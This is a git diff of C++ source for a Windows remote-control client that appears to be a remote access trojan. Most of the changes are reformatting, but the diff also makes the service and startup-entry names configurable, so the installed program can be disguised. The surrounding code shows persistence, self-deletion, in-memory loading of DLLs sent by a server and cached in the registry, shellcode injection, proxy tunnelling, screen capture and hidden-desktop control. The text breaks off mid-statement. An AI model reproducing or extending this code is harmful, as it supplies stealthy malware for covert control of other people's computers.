diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 69553cd..448b164 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -185,10 +185,16 @@ BOOL CALLBACK callback(DWORD CtrlType) int main(int argc, const char *argv[]) { Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc); - InitWindowsService({ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality." }, Log); + InitWindowsService(NewService( + g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService", + g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service", + g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log); bool isService = g_SETTINGS.iStartup == Startup_GhostMsc; // 注册启动项 - int r = RegisterStartup("Windows Ghost", "WinGhost", !isService, g_SETTINGS.runasAdmin, Logf); + int r = RegisterStartup( + g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost", + g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost", + !isService, g_SETTINGS.runasAdmin, Logf); if (r <= 0) { BOOL s = self_del(); if (!IsDebug) { @@ -517,8 +523,8 @@ DWORD WINAPI StartClient(LPVOID lParam) //准备第一波数据 BOOL auth = FALSE; LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, auth); - Manager = auth ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) : - new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit); + Manager = auth ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) : + new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit); while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login)) WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200); WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200); diff --git a/client/FileManager.cpp b/client/FileManager.cpp index 3ea0090..1aa7dcb 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -34,11 +34,9 @@ std::vector ParseMultiStringPath(const char* buffer, size_t size) const char* p = buffer; const char* end = buffer + size; - while (p < end) - { + while (p < end) { size_t len = strlen(p); - if (len > 0) - { + if (len > 0) { paths.emplace_back(p, len); } p += len + 1; @@ -47,7 +45,8 @@ std::vector ParseMultiStringPath(const char* buffer, size_t size) return paths; } -std::string GetExtractDir(const std::string& archivePath) { +std::string GetExtractDir(const std::string& archivePath) +{ if (archivePath.size() >= 5) { std::string ext = archivePath.substr(archivePath.size() - 5); for (char& c : ext) c = tolower(c); @@ -58,7 +57,8 @@ std::string GetExtractDir(const std::string& archivePath) { return archivePath + "_extract"; } -std::string GetDirectory(const std::string& filePath) { +std::string GetDirectory(const std::string& filePath) +{ size_t pos = filePath.find_last_of("/\\"); if (pos != std::string::npos) { return filePath.substr(0, pos); @@ -70,34 +70,32 @@ VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize) { switch (lpBuffer[0]) { case CMD_COMPRESS_FILES: { - std::vector paths = ParseMultiStringPath((char*)lpBuffer + 1, nSize - 1); + std::vector paths = ParseMultiStringPath((char*)lpBuffer + 1, nSize - 1); zsta::Error err = zsta::CZstdArchive::Compress(std::vector(paths.begin() + 1, paths.end()), paths.at(0)); if (err != zsta::Error::Success) { Mprintf("压缩失败: %s\n", zsta::CZstdArchive::GetErrorString(err)); - } - else { - std::string dir = GetDirectory(paths.at(0)); - SendFilesList((char*)dir.c_str()); + } else { + std::string dir = GetDirectory(paths.at(0)); + SendFilesList((char*)dir.c_str()); } break; } case CMD_UNCOMPRESS_FILES: { std::string dir; - std::vector paths = ParseMultiStringPath((char*)lpBuffer + 1, nSize - 1); + std::vector paths = ParseMultiStringPath((char*)lpBuffer + 1, nSize - 1); for (size_t i = 0; i < paths.size(); i++) { const std::string& path = paths[i]; std::string destDir = GetExtractDir(path); zsta::Error err = zsta::CZstdArchive::Extract(path, destDir); if (err != zsta::Error::Success) { Mprintf("解压失败: %s\n", zsta::CZstdArchive::GetErrorString(err)); + } else { + dir = GetDirectory(path); } - else { - dir = GetDirectory(path); - } - } + } if (!dir.empty()) { SendFilesList((char*)dir.c_str()); - } + } break; } case COMMAND_LIST_FILES:// 获取文件列表 diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 02c8eb0..68aa320 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -142,7 +142,8 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "Ser } template -class DllExecParam { +class DllExecParam +{ public: T *info; PluginParam param; @@ -184,14 +185,14 @@ public: }; typedef int (*RunSimpleTcpFunc)( - const char* privilegeKey, - long timestamp, - const char* serverAddr, - int serverPort, - int localPort, - int remotePort, - int* statusPtr - ); + const char* privilegeKey, + long timestamp, + const char* serverAddr, + int serverPort, + int localPort, + int remotePort, + int* statusPtr +); DWORD WINAPI ExecuteDLLProc(LPVOID param) { @@ -229,14 +230,14 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param) FrpcParam* f = (FrpcParam*)user; if (proc) { Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); - int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort, - &CKernelManager::g_IsAppExit); + int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort, + &CKernelManager::g_IsAppExit); if (r) { - char buf[100]; - sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); - Mprintf("%s\n", buf); - ClientMsg msg("代理端口", buf); - This->SendData((LPBYTE)&msg, sizeof(msg)); + char buf[100]; + sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); + Mprintf("%s\n", buf); + ClientMsg msg("代理端口", buf); + This->SendData((LPBYTE)&msg, sizeof(msg)); } } SAFE_DELETE_ARRAY(user); @@ -246,7 +247,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param) break; } if (info.CallType != CALLTYPE_FRPC_CALL) - runner->FreeLibrary(module); + runner->FreeLibrary(module); } else if (info.RunType == SHELLCODE) { bool flag = info.CallType == CALLTYPE_IOCPTHREAD; ShellcodeInj inj(dll->buffer, info.Size, flag ? "run" : 0, flag ? &pThread : 0, flag ? sizeof(PluginParam) : 0); @@ -568,46 +569,47 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma } template -BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user) { - static std::map> m_MemDLL; - const int sz = 1 + sizeof(T); - if (ulLength < sz) return FALSE; - const T* info = (T*)(szBuffer + 1); - const char* md5 = info->Md5; - auto find = m_MemDLL.find(md5); - if (find == m_MemDLL.end() && ulLength == sz) { - iniFile cfg(CLIENT_PATH); - auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5")); - if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) { - // 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码 +BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user) +{ + static std::map> m_MemDLL; + const int sz = 1 + sizeof(T); + if (ulLength < sz) return FALSE; + const T* info = (T*)(szBuffer + 1); + const char* md5 = info->Md5; + auto find = m_MemDLL.find(md5); + if (find == m_MemDLL.end() && ulLength == sz) { + iniFile cfg(CLIENT_PATH); + auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5")); + if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) { + // 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码 This->m_ClientObject->Send2Server((char*)szBuffer, ulLength); return TRUE; - } - Mprintf("Execute local DLL from registry: %s\n", md5.c_str()); - binFile bin(CLIENT_PATH); - auto local = bin.GetStr("settings", info->Name + std::string(".bin")); - const BYTE* bytes = reinterpret_cast(local.data()); - m_MemDLL[md5] = std::vector(bytes + sz, bytes + sz + info->Size); - find = m_MemDLL.find(md5); - } - BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL; - if (info->Size == ulLength - sz) { - if (md5[0]) { - m_MemDLL[md5] = std::vector(szBuffer + sz, szBuffer + sz + info->Size); - iniFile cfg(CLIENT_PATH); - cfg.SetStr("settings", info->Name + std::string(".md5"), md5); - binFile bin(CLIENT_PATH); - std::string buffer(reinterpret_cast(szBuffer), ulLength); - bin.SetStr("settings", info->Name + std::string(".bin"), buffer); - Mprintf("Save DLL to registry: %s\n", md5); - } - data = szBuffer + sz; - } - if (data) { - PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user); - CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data, This), 0, NULL)); - Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size); - } + } + Mprintf("Execute local DLL from registry: %s\n", md5.c_str()); + binFile bin(CLIENT_PATH); + auto local = bin.GetStr("settings", info->Name + std::string(".bin")); + const BYTE* bytes = reinterpret_cast(local.data()); + m_MemDLL[md5] = std::vector(bytes + sz, bytes + sz + info->Size); + find = m_MemDLL.find(md5); + } + BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL; + if (info->Size == ulLength - sz) { + if (md5[0]) { + m_MemDLL[md5] = std::vector(szBuffer + sz, szBuffer + sz + info->Size); + iniFile cfg(CLIENT_PATH); + cfg.SetStr("settings", info->Name + std::string(".md5"), md5); + binFile bin(CLIENT_PATH); + std::string buffer(reinterpret_cast(szBuffer), ulLength); + bin.SetStr("settings", info->Name + std::string(".bin"), buffer); + Mprintf("Save DLL to registry: %s\n", md5); + } + data = szBuffer + sz; + } + if (data) { + PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user); + CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data, This), 0, NULL)); + Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size); + } return data != NULL; } @@ -741,7 +743,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } break; } - case CMD_EXECUTE_DLL_NEW: { + case CMD_EXECUTE_DLL_NEW: { if (sizeof(szBuffer) == 4) { Mprintf("CKernelManager ExecDLL failed: NOT x64 client\n"); break; @@ -750,11 +752,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) char* user = info ? new char[400] : 0; if (user == NULL) break;; if (info) memcpy(user, info->Parameters, 400); - if (!ExecDLL(this, szBuffer, ulLength, user)) { - Mprintf("CKernelManager ExecDLL failed: received %d bytes\n", ulLength); - } - break; - } + if (!ExecDLL(this, szBuffer, ulLength, user)) { + Mprintf("CKernelManager ExecDLL failed: received %d bytes\n", ulLength); + } + break; + } case TOKEN_PRIVATESCREEN: { char h[100] = {}; @@ -960,7 +962,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } } -void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) { +void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) +{ if (ulLength > 8) { uint64_t n = 0; memcpy(&n, szBuffer + 1, sizeof(uint64_t)); @@ -994,8 +997,8 @@ int AuthKernelManager::SendHeartbeat() auto passCode = THIS_CFG.GetStr("settings", "Password", ""); auto pwdHmac = THIS_CFG.GetStr("settings", "PwdHmac", ""); uint64_t value = std::strtoull(pwdHmac.c_str(), nullptr, 10); - strcpy_s(a.SN, SN.c_str()); - strcpy_s(a.Passcode, passCode.c_str()); + strcpy_s(a.SN, SN.c_str()); + strcpy_s(a.Passcode, passCode.c_str()); memcpy(&a.PwdHmac, &value, 8); BYTE buf[sizeof(Heartbeat) + 1]; @@ -1005,19 +1008,19 @@ int AuthKernelManager::SendHeartbeat() return 0; } -void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) { +void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) +{ if (ulLength > sizeof(HeartbeatACK)) { HeartbeatACK n = { 0 }; memcpy(&n, szBuffer + 1, sizeof(HeartbeatACK)); m_nNetPing.update_from_sample(GetUnixMs() - n.Time); if (n.Authorized == TRUE) { - Mprintf("======> Client authorized successfully.\n"); - // Once the client is authorized, authentication is no longer needed - // So we can set exit flag to terminate the AuthKernelManager + Mprintf("======> Client authorized successfully.\n"); + // Once the client is authorized, authentication is no longer needed + // So we can set exit flag to terminate the AuthKernelManager g_bExit = S_CLIENT_EXIT; } - } - else if (ulLength > 8) { + } else if (ulLength > 8) { uint64_t n = 0; memcpy(&n, szBuffer + 1, sizeof(uint64_t)); m_nNetPing.update_from_sample(GetUnixMs() - n); diff --git a/client/KernelManager.h b/client/KernelManager.h index cd9fcfe..bb016bb 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -132,7 +132,7 @@ public: CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s); virtual ~CKernelManager(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength); + virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength); ThreadInfo* m_hKeyboard; ThreadInfo m_hThread[MAX_THREADNUM]; // 此值在原代码中是用于记录线程数量;当线程数量超出限制时m_hThread会越界而导致程序异常 @@ -218,7 +218,7 @@ public: class AuthKernelManager : public CKernelManager { public: - bool m_bFirstHeartbeat = true; + bool m_bFirstHeartbeat = true; AuthKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s) : CKernelManager(conn, ClientObject, hInstance, kb, s) diff --git a/client/LoginServer.cpp b/client/LoginServer.cpp index 1ddb0e9..69f4893 100644 --- a/client/LoginServer.cpp +++ b/client/LoginServer.cpp @@ -338,12 +338,11 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, BOOL& isAuthKerne HANDLE hEvent2 = OpenEventA(SYNCHRONIZE, FALSE, std::string("EVENT_" + pid).c_str()); WIN32_FILE_ATTRIBUTE_DATA fileInfo; GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo); - if ((hEvent1 != NULL || hEvent2 != NULL) && fileInfo.nFileSizeLow > 16 * 1024 * 1024) - { + if ((hEvent1 != NULL || hEvent2 != NULL) && fileInfo.nFileSizeLow > 16 * 1024 * 1024) { Mprintf("Check event handle: %d, %d\n", hEvent1 != NULL, hEvent2 != NULL); - isAuthKernel = TRUE; + isAuthKernel = TRUE; SAFE_CLOSE_HANDLE(hEvent1); - SAFE_CLOSE_HANDLE(hEvent2); + SAFE_CLOSE_HANDLE(hEvent2); config*cfg = conn.pwdHash == masterHash ? new config : new iniFile; str = cfg->GetStr("settings", "Password", ""); delete cfg; diff --git a/client/Manager.cpp b/client/Manager.cpp index 3cf7fef..9fd3c97 100644 --- a/client/Manager.cpp +++ b/client/Manager.cpp @@ -28,18 +28,17 @@ unsigned int __stdcall ThreadLoader(LPVOID param) SelectDesktop(NULL); nRet = arg.start_address(arg.arglist); - } - catch (...) { + } catch (...) { }; return nRet; } HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD - SIZE_T dwStackSize, // initial stack size - LPTHREAD_START_ROUTINE lpStartAddress, // thread function - LPVOID lpParameter, // thread argument - DWORD dwCreationFlags, // creation option - LPDWORD lpThreadId, bool bInteractive) + SIZE_T dwStackSize, // initial stack size + LPTHREAD_START_ROUTINE lpStartAddress, // thread function + LPVOID lpParameter, // thread argument + DWORD dwCreationFlags, // creation option + LPDWORD lpThreadId, bool bInteractive) { HANDLE hThread = INVALID_HANDLE_VALUE; THREAD_ARGLIST arg; @@ -133,8 +132,7 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess) Mprintf("OpenDesktop Default failed: %d\n", GetLastError()); } } - } - else { + } else { Mprintf("OpenWindowStation failed: %d\n", GetLastError()); } } @@ -149,8 +147,7 @@ HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights) if (!currentDesk) { return hInputDesk; - } - else { + } else { // 通过桌面名称判断是否真正变化 char oldName[256] = { 0 }; char newName[256] = { 0 }; @@ -195,18 +192,17 @@ HDESK SelectDesktop(TCHAR* name) if (name != NULL) { // Attempt to open the named desktop desktop = OpenDesktop(name, 0, FALSE, - DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | - DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | - DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | - DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); - } - else { + DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | + DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | + DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | + DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); + } else { // No, so open the input desktop desktop = OpenInputDesktop(0, FALSE, - DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | - DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | - DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | - DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); + DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | + DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | + DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | + DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); } // Did we succeed? @@ -252,8 +248,7 @@ BOOL CManager::Send(LPBYTE lpData, UINT nSize) int nRet = 0; try { nRet = m_ClientObject->Send2Server((char*)lpData, nSize); - } - catch (...) { + } catch (...) { Mprintf("[ERROR] CManager::Send catch an error \n"); }; return nRet; diff --git a/client/Manager.h b/client/Manager.h index 0c331a5..bbc1f3a 100644 --- a/client/Manager.h +++ b/client/Manager.h @@ -30,11 +30,11 @@ typedef IOCPClient CClientSocket; typedef IOCPClient ISocketBase; HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD - SIZE_T dwStackSize, // initial stack size - LPTHREAD_START_ROUTINE lpStartAddress, // thread function - LPVOID lpParameter, // thread argument - DWORD dwCreationFlags, // creation option - LPDWORD lpThreadId, bool bInteractive = false); + SIZE_T dwStackSize, // initial stack size + LPTHREAD_START_ROUTINE lpStartAddress, // thread function + LPVOID lpParameter, // thread argument + DWORD dwCreationFlags, // creation option + LPDWORD lpThreadId, bool bInteractive = false); class CManager : public IOCPManager { diff --git a/client/ScreenCapture.h b/client/ScreenCapture.h index f284df9..1f11318 100644 --- a/client/ScreenCapture.h +++ b/client/ScreenCapture.h @@ -25,8 +25,7 @@ public: { for (size_t i = 0; i < numThreads; ++i) { workers.emplace_back([this] { - while (true) - { + while (true) { std::function task; { std::unique_lock lock(this->queueMutex); @@ -226,13 +225,15 @@ public: return m_nScreenCount; } - virtual bool IsOriginalSize() const { - return m_BitmapInfor_Full->bmiHeader.biWidth == m_BitmapInfor_Send->bmiHeader.biWidth && - m_BitmapInfor_Full->bmiHeader.biHeight == m_BitmapInfor_Send->bmiHeader.biHeight; + virtual bool IsOriginalSize() const + { + return m_BitmapInfor_Full->bmiHeader.biWidth == m_BitmapInfor_Send->bmiHeader.biWidth && + m_BitmapInfor_Full->bmiHeader.biHeight == m_BitmapInfor_Send->bmiHeader.biHeight; } - virtual bool IsLargeScreen(int width, int height) const { - return m_BitmapInfor_Send->bmiHeader.biWidth > width && m_BitmapInfor_Send->bmiHeader.biHeight > height; + virtual bool IsLargeScreen(int width, int height) const + { + return m_BitmapInfor_Send->bmiHeader.biWidth > width && m_BitmapInfor_Send->bmiHeader.biHeight > height; } virtual BOOL IsMultiScreenEnabled() const @@ -477,18 +478,15 @@ public: return offset; // 返回缓冲区的大小 } - virtual int GetFrameID() const - { + virtual int GetFrameID() const { return m_FrameID; } - virtual LPBYTE GetFirstBuffer() const - { + virtual LPBYTE GetFirstBuffer() const { return m_FirstBuffer; } - virtual int GetBMPSize() const - { + virtual int GetBMPSize() const { assert(m_BitmapInfor_Send); return m_BitmapInfor_Send->bmiHeader.biSizeImage; } @@ -603,7 +601,7 @@ public: uint8_t* encoded_data = nullptr; uint32_t encoded_size = 0; int err = m_encoder->encode(nextData, 32, 4* m_BitmapInfor_Send->bmiHeader.biWidth, - m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight, &encoded_data, &encoded_size); + m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight, &encoded_data, &encoded_size); if (err) { return nullptr; } @@ -626,7 +624,7 @@ public: uint8_t* encoded_data = nullptr; uint32_t encoded_size = 0; int err = m_encoder->encode(nextData, 32, 4 * m_BitmapInfor_Send->bmiHeader.biWidth, - m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight, &encoded_data, &encoded_size); + m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight, &encoded_data, &encoded_size); if (err) { return nullptr; } @@ -675,10 +673,11 @@ public: // 纯虚接口 // 获取下一帧屏幕 virtual LPBYTE ScanNextScreen() = 0; - virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) { + virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) + { if (m_ulFullWidth == m_BitmapInfor_Send->bmiHeader.biWidth && m_ulFullHeight == m_BitmapInfor_Send->bmiHeader.biHeight) return bitmap; return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth, - m_BitmapInfor_Send->bmiHeader.biHeight); + m_BitmapInfor_Send->bmiHeader.biHeight); } }; diff --git a/client/ScreenCapturerDXGI.h b/client/ScreenCapturerDXGI.h index dc35953..e7784e2 100644 --- a/client/ScreenCapturerDXGI.h +++ b/client/ScreenCapturerDXGI.h @@ -109,8 +109,8 @@ public: // 9. 初始化 BITMAPINFO m_BitmapInfor_Full = ConstructBitmapInfo(32, m_ulFullWidth, m_ulFullHeight); - iniFile cfg(CLIENT_PATH); - int strategy = cfg.GetInt("settings", "ScreenStrategy", 0); + iniFile cfg(CLIENT_PATH); + int strategy = cfg.GetInt("settings", "ScreenStrategy", 0); switch (strategy) { case 1: break; @@ -128,8 +128,8 @@ public: m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1]; m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1]; m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12]; - m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12]; - m_BmpZoomFirst = nullptr; + m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12]; + m_BmpZoomFirst = nullptr; break; } while (true); @@ -154,14 +154,15 @@ public: if (d3dDevice) d3dDevice->Release(); } - virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) override { + virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) override + { if (m_ulFullWidth == m_BitmapInfor_Send->bmiHeader.biWidth && m_ulFullHeight == m_BitmapInfor_Send->bmiHeader.biHeight) { memcpy(target, bitmap, m_BitmapInfor_Send->bmiHeader.biSizeImage); return bitmap; } - return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth, - m_BitmapInfor_Send->bmiHeader.biHeight); - } + return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth, + m_BitmapInfor_Send->bmiHeader.biHeight); + } LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override { @@ -181,8 +182,8 @@ public: { ULONG ulNextScreenLength = 0; int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0); - scaleBitmap(m_BmpZoomBuffer, m_NextBuffer); - memcpy(m_NextBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage); + scaleBitmap(m_BmpZoomBuffer, m_NextBuffer); + memcpy(m_NextBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage); if (ret) return nullptr; diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 97b50ce..e6627ae 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -102,17 +102,17 @@ bool CScreenManager::SwitchScreen() bool CScreenManager::RestartScreen() { - if (m_ScreenSpyObject == NULL) - return false; - m_bIsWorking = FALSE; - DWORD s = WaitForSingleObject(m_hWorkThread, 3000); - if (s == WAIT_TIMEOUT) { - TerminateThread(m_hWorkThread, -1); - } - m_bIsWorking = TRUE; - m_SendFirst = FALSE; - m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL); - return true; + if (m_ScreenSpyObject == NULL) + return false; + m_bIsWorking = FALSE; + DWORD s = WaitForSingleObject(m_hWorkThread, 3000); + if (s == WAIT_TIMEOUT) { + TerminateThread(m_hWorkThread, -1); + } + m_bIsWorking = TRUE; + m_SendFirst = FALSE; + m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL); + return true; } std::wstring ConvertToWString(const std::string& multiByteStr) @@ -202,8 +202,7 @@ BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) // 获取进程名 HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId); - if (hProcess) - { + if (hProcess) { char exePath[MAX_PATH]; DWORD size = MAX_PATH; if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) { @@ -284,7 +283,8 @@ void CScreenManager::InitScreenSpy() } } -BOOL IsRunningAsSystem() { +BOOL IsRunningAsSystem() +{ HANDLE hToken; PTOKEN_USER pTokenUser = NULL; DWORD dwSize = 0; @@ -298,18 +298,18 @@ BOOL IsRunningAsSystem() { pTokenUser = (PTOKEN_USER)malloc(dwSize); if (pTokenUser && GetTokenInformation(hToken, TokenUser, pTokenUser, - dwSize, &dwSize)) { + dwSize, &dwSize)) { // 使用 WellKnownSid 创建 SYSTEM SID BYTE systemSid[SECURITY_MAX_SID_SIZE]; DWORD sidSize = sizeof(systemSid); if (CreateWellKnownSid(WinLocalSystemSid, NULL, systemSid, &sidSize)) { isSystem = EqualSid(pTokenUser->User.Sid, systemSid); - if (isSystem){ + if (isSystem) { Mprintf("当前进程以 SYSTEM 身份运行。\n"); } else { Mprintf("当前进程未以 SYSTEM 身份运行。\n"); - } + } } } @@ -525,8 +525,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) cfg.SetInt("settings", "ScreenStrategy", strategy); cfg.SetInt("settings", "ScreenWidth", width); cfg.SetInt("settings", "ScreenHeight", height); - switch (strategy) - { + switch (strategy) { case 0: if (m_ScreenSpyObject && m_ScreenSpyObject->IsLargeScreen(1920, 1080)) RestartScreen(); break; @@ -588,8 +587,8 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) memcpy(h, szBuffer + 1, ulLength - 1); m_hash = std::string(h, h + 64); m_hmac = std::string(h + 64, h + 80); - std::string files = h[80] ? std::string(h + 80, h + ulLength - 1) : ""; - SAFE_DELETE_ARRAY(h); + std::string files = h[80] ? std::string(h + 80, h + ulLength - 1) : ""; + SAFE_DELETE_ARRAY(h); if (OpenClipboard(nullptr)) { EmptyClipboard(); CloseClipboard(); diff --git a/client/ScreenManager.h b/client/ScreenManager.h index 03797fe..d4eaad7 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -61,7 +61,7 @@ public: bool IsRunAsService() const { if (m_conn && (m_conn->iStartup == Startup_GhostMsc || m_conn->iStartup == Startup_TestRunMsc)) - return true; + return true; static BOOL is_run_as_system = IsRunningAsSystem(); return is_run_as_system; } diff --git a/client/ScreenSpy.cpp b/client/ScreenSpy.cpp index 3f3c144..a60b96c 100644 --- a/client/ScreenSpy.cpp +++ b/client/ScreenSpy.cpp @@ -18,9 +18,9 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL m_GOP = gop; m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight); - - iniFile cfg(CLIENT_PATH); - int strategy = cfg.GetInt("settings", "ScreenStrategy", 0); + + iniFile cfg(CLIENT_PATH); + int strategy = cfg.GetInt("settings", "ScreenStrategy", 0); m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full); switch (strategy) { case 1: // 1 - Original size diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h index 9544efe..6030aa7 100644 --- a/client/ScreenSpy.h +++ b/client/ScreenSpy.h @@ -147,9 +147,9 @@ public: HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp()); BOOL ret = FALSE; if (PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT) || SendMessageTimeout(hWnd, WM_PRINT, - (WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) { + (WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 